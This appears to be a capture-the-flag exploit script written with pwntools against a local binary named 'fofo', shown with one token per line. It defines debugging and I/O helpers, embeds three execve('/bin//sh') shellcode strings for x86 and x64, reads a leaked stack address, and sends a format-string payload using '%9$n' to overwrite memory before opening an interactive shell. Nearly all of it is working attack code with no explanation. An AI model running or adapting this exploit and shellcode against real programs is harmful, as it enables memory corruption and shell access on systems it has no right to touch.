from
pwn
import
*
context.log_level
=
'debug'
p
=
process(
"fofo"
)
def
debug(addr,PIE
=
True
):
debug_str
=
""
if
PIE:
text_base
=
int
(os.popen(
"pmap {}| awk '{{print $1}}'"
.
format
(p.pid)).readlines()[
1
],
16
)
for
i
in
addr:
debug_str
+
=
'b *{}\n'
.
format
(
hex
(text_base
+
i))
gdb.attach(p,debug_str)
else
:
for
i
in
addr:
debug_str
+
=
'b *{}\n'
.
format
(
hex
(i))
gdb.attach(p,debug_str)
def
dbg():
gdb.attach(p)
s
=
lambda
data :p.send(
str
(data))
sa
=
lambda
delim,data :p.sendafter(
str
(delim),
str
(data))
sl
=
lambda
data :p.sendline(
str
(data))
sla
=
lambda
delim,data :p.sendlineafter(
str
(delim),
str
(data))
r
=
lambda
numb
=
4096
:p.recv(numb)
ru
=
lambda
delims, drop
=
True
:p.recvuntil(delims, drop)
it
=
lambda
:p.interactive()
uu32
=
lambda
data :u32(data.ljust(
4
,
'\0'
))
uu64
=
lambda
data :u64(data.ljust(
8
,
'\0'
))
bp
=
lambda
bkp :pdbg.bp(bkp)
li
=
lambda
str1,data1 :log.success(str1
+
'========>'
+
hex
(data1))
def
dbgc(addr):
gdb.attach(p,
"b*"
+
hex
(addr)
+
"\n c"
)
def
lg(s,addr):
print
(
'\033[1;31;40m%20s-->0x%x\033[0m'
%
(s,addr))
sh_x86_18
=
"\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20
=
"\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21
=
"\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
ru(
"0x"
)
stack
=
int
(r(
12
),
16
)
print
hex
(stack)
pay
=
"%32c%9$n"
+
p64(stack)
sl(pay)
sleep(
0.1
)
it()